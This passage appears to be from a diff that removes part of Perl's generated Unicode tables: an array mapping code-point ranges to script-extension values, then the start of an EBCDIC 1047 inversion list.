- SCX_Unknown, - SCX_Tamil, - SCX_use_AUX_TABLE_18, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_use_AUX_TABLE_18, - SCX_Tamil, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Thai, - SCX_Unknown, - SCX_Common, - SCX_Thai, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Tibetan, - SCX_Unknown, - SCX_Tibetan, - SCX_Unknown, - SCX_Tibetan, - SCX_Unknown, - SCX_Tibetan, - SCX_Unknown, - SCX_Tibetan, - SCX_Unknown, - SCX_Tibetan, - SCX_Common, - SCX_Tibetan, - SCX_Unknown, - SCX_Myanmar, - SCX_use_AUX_TABLE_19, - SCX_Myanmar, - SCX_Georgian, - SCX_Unknown, - SCX_Georgian, - SCX_Unknown, - SCX_Georgian, - SCX_Unknown, - SCX_Georgian, - SCX_use_AUX_TABLE_20, - SCX_Georgian, - SCX_use_AUX_TABLE_21, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Cherokee, - SCX_Unknown, - SCX_Cherokee, - SCX_Unknown, - SCX_Canadian_Aboriginal, - SCX_Ogham, - SCX_Unknown, - SCX_Runic, - SCX_Common, - SCX_Runic, - SCX_Unknown, - SCX_Tagalog, - SCX_Unknown, - SCX_Tagalog, - SCX_Unknown, - SCX_Hanunoo, - SCX_use_AUX_TABLE_22, - SCX_Unknown, - SCX_Buhid, - SCX_Unknown, - SCX_Tagbanwa, - SCX_Unknown, - SCX_Tagbanwa, - SCX_Unknown, - SCX_Tagbanwa, - SCX_Unknown, - SCX_Khmer, - SCX_Unknown, - SCX_Khmer, - SCX_Unknown, - SCX_Khmer, - SCX_Unknown, - SCX_Mongolian, - SCX_use_AUX_TABLE_23, - SCX_Mongolian, - SCX_use_AUX_TABLE_23, - SCX_Mongolian, - SCX_Unknown, - SCX_Mongolian, - SCX_Unknown, - SCX_Mongolian, - SCX_Unknown, - SCX_Mongolian, - SCX_Unknown, - SCX_Canadian_Aboriginal, - SCX_Unknown, - SCX_Limbu, - SCX_Unknown, - SCX_Limbu, - SCX_Unknown, - SCX_Limbu, - SCX_Unknown, - SCX_Limbu, - SCX_Unknown, - SCX_Limbu, - SCX_Tai_Le, - SCX_Unknown, - SCX_Tai_Le, - SCX_Unknown, - SCX_New_Tai_Lue, - SCX_Unknown, - SCX_New_Tai_Lue, - SCX_Unknown, - SCX_New_Tai_Lue, - SCX_Unknown, - SCX_New_Tai_Lue, - SCX_Khmer, - SCX_Buginese, - SCX_Unknown, - SCX_Buginese, - SCX_Tai_Tham, - SCX_Unknown, - SCX_Tai_Tham, - SCX_Unknown, - SCX_Tai_Tham, - SCX_Unknown, - SCX_Tai_Tham, - SCX_Unknown, - SCX_Tai_Tham, - SCX_Unknown, - SCX_Inherited, - SCX_Unknown, - SCX_Balinese, - SCX_Unknown, - SCX_Balinese, - SCX_Unknown, - SCX_Sundanese, - SCX_Batak, - SCX_Unknown, - SCX_Batak, - SCX_Lepcha, - SCX_Unknown, - SCX_Lepcha, - SCX_Unknown, - SCX_Lepcha, - SCX_Ol_Chiki, - SCX_Cyrillic, - SCX_Unknown, - SCX_Sundanese, - SCX_Unknown, - SCX_use_AUX_TABLE_24, - SCX_Devanagari, - SCX_use_AUX_TABLE_24, - SCX_Devanagari, - SCX_use_AUX_TABLE_25, - SCX_Devanagari, - SCX_use_AUX_TABLE_25, - SCX_use_AUX_TABLE_26, - SCX_Devanagari, - SCX_use_AUX_TABLE_25, - SCX_Devanagari, - SCX_use_AUX_TABLE_25, - SCX_Devanagari, - SCX_use_AUX_TABLE_24, - SCX_use_AUX_TABLE_27, - SCX_Devanagari, - SCX_Bengali, - SCX_use_AUX_TABLE_24, - SCX_Unknown, - SCX_Latin, - SCX_Greek, - SCX_Cyrillic, - SCX_Latin, - SCX_Greek, - SCX_Latin, - SCX_Greek, - SCX_Latin, - SCX_Cyrillic, - SCX_Latin, - SCX_Greek, - SCX_Inherited, - SCX_Unknown, - SCX_Inherited, - SCX_Latin, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Common, - SCX_Inherited, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Latin, - SCX_Unknown, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Unknown, - SCX_Latin, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Inherited, - SCX_use_AUX_TABLE_28, - SCX_Unknown, - SCX_Common, - SCX_Greek, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Braille, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Glagolitic, - SCX_Unknown, - SCX_Glagolitic, - SCX_Unknown, - SCX_Latin, - SCX_Coptic, - SCX_Unknown, - SCX_Coptic, - SCX_Georgian, - SCX_Unknown, - SCX_Georgian, - SCX_Unknown, - SCX_Georgian, - SCX_Unknown, - SCX_Tifinagh, - SCX_Unknown, - SCX_Tifinagh, - SCX_Unknown, - SCX_Tifinagh, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Cyrillic, - SCX_Common, - SCX_use_AUX_TABLE_3, - SCX_Common, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_use_AUX_TABLE_30, - SCX_use_AUX_TABLE_31, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_use_AUX_TABLE_30, - SCX_Common, - SCX_use_AUX_TABLE_31, - SCX_use_AUX_TABLE_30, - SCX_use_AUX_TABLE_31, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_use_AUX_TABLE_32, - SCX_use_AUX_TABLE_21, - SCX_use_AUX_TABLE_31, - SCX_use_AUX_TABLE_33, - SCX_Common, - SCX_use_AUX_TABLE_31, - SCX_use_AUX_TABLE_29, - SCX_use_AUX_TABLE_34, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_35, - SCX_Unknown, - SCX_use_AUX_TABLE_33, - SCX_use_AUX_TABLE_35, - SCX_use_AUX_TABLE_33, - SCX_use_AUX_TABLE_36, - SCX_use_AUX_TABLE_30, - SCX_use_AUX_TABLE_33, - SCX_use_AUX_TABLE_36, - SCX_Unknown, - SCX_use_AUX_TABLE_1, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_use_AUX_TABLE_1, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_36, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Common, - SCX_use_AUX_TABLE_21, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_Common, - SCX_use_AUX_TABLE_36, - SCX_Unknown, - SCX_use_AUX_TABLE_36, - SCX_use_AUX_TABLE_29, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_Yi, - SCX_Unknown, - SCX_Yi, - SCX_Unknown, - SCX_Lisu, - SCX_Vai, - SCX_Unknown, - SCX_Cyrillic, - SCX_use_AUX_TABLE_3, - SCX_Cyrillic, - SCX_Bamum, - SCX_Unknown, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Unknown, - SCX_Latin, - SCX_Unknown, - SCX_Latin, - SCX_Syloti_Nagri, - SCX_Unknown, - SCX_use_AUX_TABLE_37, - SCX_use_AUX_TABLE_38, - SCX_Unknown, - SCX_Phags_Pa, - SCX_Unknown, - SCX_Saurashtra, - SCX_Unknown, - SCX_Saurashtra, - SCX_Unknown, - SCX_Devanagari, - SCX_use_AUX_TABLE_39, - SCX_Devanagari, - SCX_use_AUX_TABLE_40, - SCX_Devanagari, - SCX_Unknown, - SCX_Kayah_Li, - SCX_use_AUX_TABLE_41, - SCX_Kayah_Li, - SCX_Rejang, - SCX_Unknown, - SCX_Rejang, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_Javanese, - SCX_Unknown, - SCX_use_AUX_TABLE_42, - SCX_Javanese, - SCX_Unknown, - SCX_Javanese, - SCX_Myanmar, - SCX_Unknown, - SCX_Cham, - SCX_Unknown, - SCX_Cham, - SCX_Unknown, - SCX_Cham, - SCX_Unknown, - SCX_Cham, - SCX_Myanmar, - SCX_Tai_Viet, - SCX_Unknown, - SCX_Tai_Viet, - SCX_Meetei_Mayek, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Greek, - SCX_Unknown, - SCX_Cherokee, - SCX_Meetei_Mayek, - SCX_Unknown, - SCX_Meetei_Mayek, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_Latin, - SCX_Unknown, - SCX_Armenian, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Hebrew, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Common, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_use_AUX_TABLE_9, - SCX_Arabic, - SCX_use_AUX_TABLE_9, - SCX_Unknown, - SCX_Inherited, - SCX_Common, - SCX_Unknown, - SCX_Inherited, - SCX_Cyrillic, - SCX_Common, - SCX_use_AUX_TABLE_31, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_use_AUX_TABLE_30, - SCX_use_AUX_TABLE_36, - SCX_use_AUX_TABLE_33, - SCX_use_AUX_TABLE_36, - SCX_use_AUX_TABLE_33, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Linear_B, - SCX_Unknown, - SCX_Linear_B, - SCX_Unknown, - SCX_Linear_B, - SCX_Unknown, - SCX_Linear_B, - SCX_Unknown, - SCX_Linear_B, - SCX_Unknown, - SCX_Linear_B, - SCX_Unknown, - SCX_Linear_B, - SCX_Unknown, - SCX_use_AUX_TABLE_43, - SCX_Unknown, - SCX_use_AUX_TABLE_44, - SCX_Unknown, - SCX_use_AUX_TABLE_43, - SCX_Greek, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Common, - SCX_Inherited, - SCX_Unknown, - SCX_Lycian, - SCX_Unknown, - SCX_Carian, - SCX_Unknown, - SCX_use_AUX_TABLE_45, - SCX_Unknown, - SCX_Old_Italic, - SCX_Unknown, - SCX_Old_Italic, - SCX_Gothic, - SCX_Unknown, - SCX_Old_Permic, - SCX_Unknown, - SCX_Ugaritic, - SCX_Unknown, - SCX_Ugaritic, - SCX_Old_Persian, - SCX_Unknown, - SCX_Old_Persian, - SCX_Unknown, - SCX_Deseret, - SCX_Shavian, - SCX_Osmanya, - SCX_Unknown, - SCX_Osmanya, - SCX_Unknown, - SCX_Osage, - SCX_Unknown, - SCX_Osage, - SCX_Unknown, - SCX_Elbasan, - SCX_Unknown, - SCX_Caucasian_Albanian, - SCX_Unknown, - SCX_Caucasian_Albanian, - SCX_Unknown, - SCX_Linear_A, - SCX_Unknown, - SCX_Linear_A, - SCX_Unknown, - SCX_Linear_A, - SCX_Unknown, - SCX_Cypriot, - SCX_Unknown, - SCX_Cypriot, - SCX_Unknown, - SCX_Cypriot, - SCX_Unknown, - SCX_Cypriot, - SCX_Unknown, - SCX_Cypriot, - SCX_Unknown, - SCX_Cypriot, - SCX_Imperial_Aramaic, - SCX_Unknown, - SCX_Imperial_Aramaic, - SCX_Palmyrene, - SCX_Nabataean, - SCX_Unknown, - SCX_Nabataean, - SCX_Unknown, - SCX_Hatran, - SCX_Unknown, - SCX_Hatran, - SCX_Unknown, - SCX_Hatran, - SCX_Phoenician, - SCX_Unknown, - SCX_Phoenician, - SCX_Lydian, - SCX_Unknown, - SCX_Lydian, - SCX_Unknown, - SCX_Meroitic_Hieroglyphs, - SCX_Meroitic_Cursive, - SCX_Unknown, - SCX_Meroitic_Cursive, - SCX_Unknown, - SCX_Meroitic_Cursive, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Old_South_Arabian, - SCX_Old_North_Arabian, - SCX_Unknown, - SCX_Manichaean, - SCX_Unknown, - SCX_Manichaean, - SCX_Unknown, - SCX_Avestan, - SCX_Unknown, - SCX_Avestan, - SCX_Inscriptional_Parthian, - SCX_Unknown, - SCX_Inscriptional_Parthian, - SCX_Inscriptional_Pahlavi, - SCX_Unknown, - SCX_Inscriptional_Pahlavi, - SCX_Psalter_Pahlavi, - SCX_Unknown, - SCX_Psalter_Pahlavi, - SCX_Unknown, - SCX_Psalter_Pahlavi, - SCX_Unknown, - SCX_Old_Turkic, - SCX_Unknown, - SCX_Old_Hungarian, - SCX_Unknown, - SCX_Old_Hungarian, - SCX_Unknown, - SCX_Old_Hungarian, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Brahmi, - SCX_Unknown, - SCX_Brahmi, - SCX_Unknown, - SCX_Brahmi, - SCX_Kaithi, - SCX_Unknown, - SCX_Sora_Sompeng, - SCX_Unknown, - SCX_Sora_Sompeng, - SCX_Unknown, - SCX_Chakma, - SCX_Unknown, - SCX_Chakma, - SCX_Unknown, - SCX_Mahajani, - SCX_Unknown, - SCX_Sharada, - SCX_Unknown, - SCX_Sharada, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Khojki, - SCX_Unknown, - SCX_Khojki, - SCX_Unknown, - SCX_Multani, - SCX_Unknown, - SCX_Multani, - SCX_Unknown, - SCX_Multani, - SCX_Unknown, - SCX_Multani, - SCX_Unknown, - SCX_Multani, - SCX_Unknown, - SCX_Khudawadi, - SCX_Unknown, - SCX_Khudawadi, - SCX_Unknown, - SCX_Grantha, - SCX_use_AUX_TABLE_18, - SCX_Grantha, - SCX_use_AUX_TABLE_18, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_use_AUX_TABLE_18, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Newa, - SCX_Unknown, - SCX_Newa, - SCX_Unknown, - SCX_Newa, - SCX_Unknown, - SCX_Tirhuta, - SCX_Unknown, - SCX_Tirhuta, - SCX_Unknown, - SCX_Siddham, - SCX_Unknown, - SCX_Siddham, - SCX_Unknown, - SCX_Modi, - SCX_Unknown, - SCX_Modi, - SCX_Unknown, - SCX_Mongolian, - SCX_Unknown, - SCX_Takri, - SCX_Unknown, - SCX_Takri, - SCX_Unknown, - SCX_Ahom, - SCX_Unknown, - SCX_Ahom, - SCX_Unknown, - SCX_Ahom, - SCX_Unknown, - SCX_Warang_Citi, - SCX_Unknown, - SCX_Warang_Citi, - SCX_Unknown, - SCX_Zanabazar_Square, - SCX_Unknown, - SCX_Soyombo, - SCX_Unknown, - SCX_Soyombo, - SCX_Unknown, - SCX_Soyombo, - SCX_Unknown, - SCX_Pau_Cin_Hau, - SCX_Unknown, - SCX_Bhaiksuki, - SCX_Unknown, - SCX_Bhaiksuki, - SCX_Unknown, - SCX_Bhaiksuki, - SCX_Unknown, - SCX_Bhaiksuki, - SCX_Unknown, - SCX_Marchen, - SCX_Unknown, - SCX_Marchen, - SCX_Unknown, - SCX_Marchen, - SCX_Unknown, - SCX_Masaram_Gondi, - SCX_Unknown, - SCX_Masaram_Gondi, - SCX_Unknown, - SCX_Masaram_Gondi, - SCX_Unknown, - SCX_Masaram_Gondi, - SCX_Unknown, - SCX_Masaram_Gondi, - SCX_Unknown, - SCX_Masaram_Gondi, - SCX_Unknown, - SCX_Masaram_Gondi, - SCX_Unknown, - SCX_Cuneiform, - SCX_Unknown, - SCX_Cuneiform, - SCX_Unknown, - SCX_Cuneiform, - SCX_Unknown, - SCX_Cuneiform, - SCX_Unknown, - SCX_Egyptian_Hieroglyphs, - SCX_Unknown, - SCX_Anatolian_Hieroglyphs, - SCX_Unknown, - SCX_Bamum, - SCX_Unknown, - SCX_Mro, - SCX_Unknown, - SCX_Mro, - SCX_Unknown, - SCX_Mro, - SCX_Unknown, - SCX_Bassa_Vah, - SCX_Unknown, - SCX_Bassa_Vah, - SCX_Unknown, - SCX_Pahawh_Hmong, - SCX_Unknown, - SCX_Pahawh_Hmong, - SCX_Unknown, - SCX_Pahawh_Hmong, - SCX_Unknown, - SCX_Pahawh_Hmong, - SCX_Unknown, - SCX_Pahawh_Hmong, - SCX_Unknown, - SCX_Miao, - SCX_Unknown, - SCX_Miao, - SCX_Unknown, - SCX_Miao, - SCX_Unknown, - SCX_Tangut, - SCX_Nushu, - SCX_Unknown, - SCX_Tangut, - SCX_Unknown, - SCX_Tangut, - SCX_Unknown, - SCX_use_AUX_TABLE_36, - SCX_use_AUX_TABLE_35, - SCX_Unknown, - SCX_Nushu, - SCX_Unknown, - SCX_Duployan, - SCX_Unknown, - SCX_Duployan, - SCX_Unknown, - SCX_Duployan, - SCX_Unknown, - SCX_Duployan, - SCX_Unknown, - SCX_Duployan, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Inherited, - SCX_Common, - SCX_Inherited, - SCX_Common, - SCX_Inherited, - SCX_Common, - SCX_Inherited, - SCX_Common, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_SignWriting, - SCX_Unknown, - SCX_SignWriting, - SCX_Unknown, - SCX_SignWriting, - SCX_Unknown, - SCX_Glagolitic, - SCX_Unknown, - SCX_Glagolitic, - SCX_Unknown, - SCX_Glagolitic, - SCX_Unknown, - SCX_Glagolitic, - SCX_Unknown, - SCX_Glagolitic, - SCX_Unknown, - SCX_Mende_Kikakui, - SCX_Unknown, - SCX_Mende_Kikakui, - SCX_Unknown, - SCX_Adlam, - SCX_Unknown, - SCX_Adlam, - SCX_Unknown, - SCX_Adlam, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_use_AUX_TABLE_35, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Inherited, - SCX_Unknown -}; - -# endif /* ASCII/Latin1 */ - -#endif /* defined(PERL_IN_REGEXEC_C) */ - -#if defined(PERL_IN_UTF8_C) - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV _Perl_SCX_invlist[] = { /* for EBCDIC 1047 */ - 1606, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA2, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x2B9, - 0x2E0, - 0x2E5, - 0x2EA, - 0x2EC, - 0x300, - 0x342, - 0x343, - 0x345, - 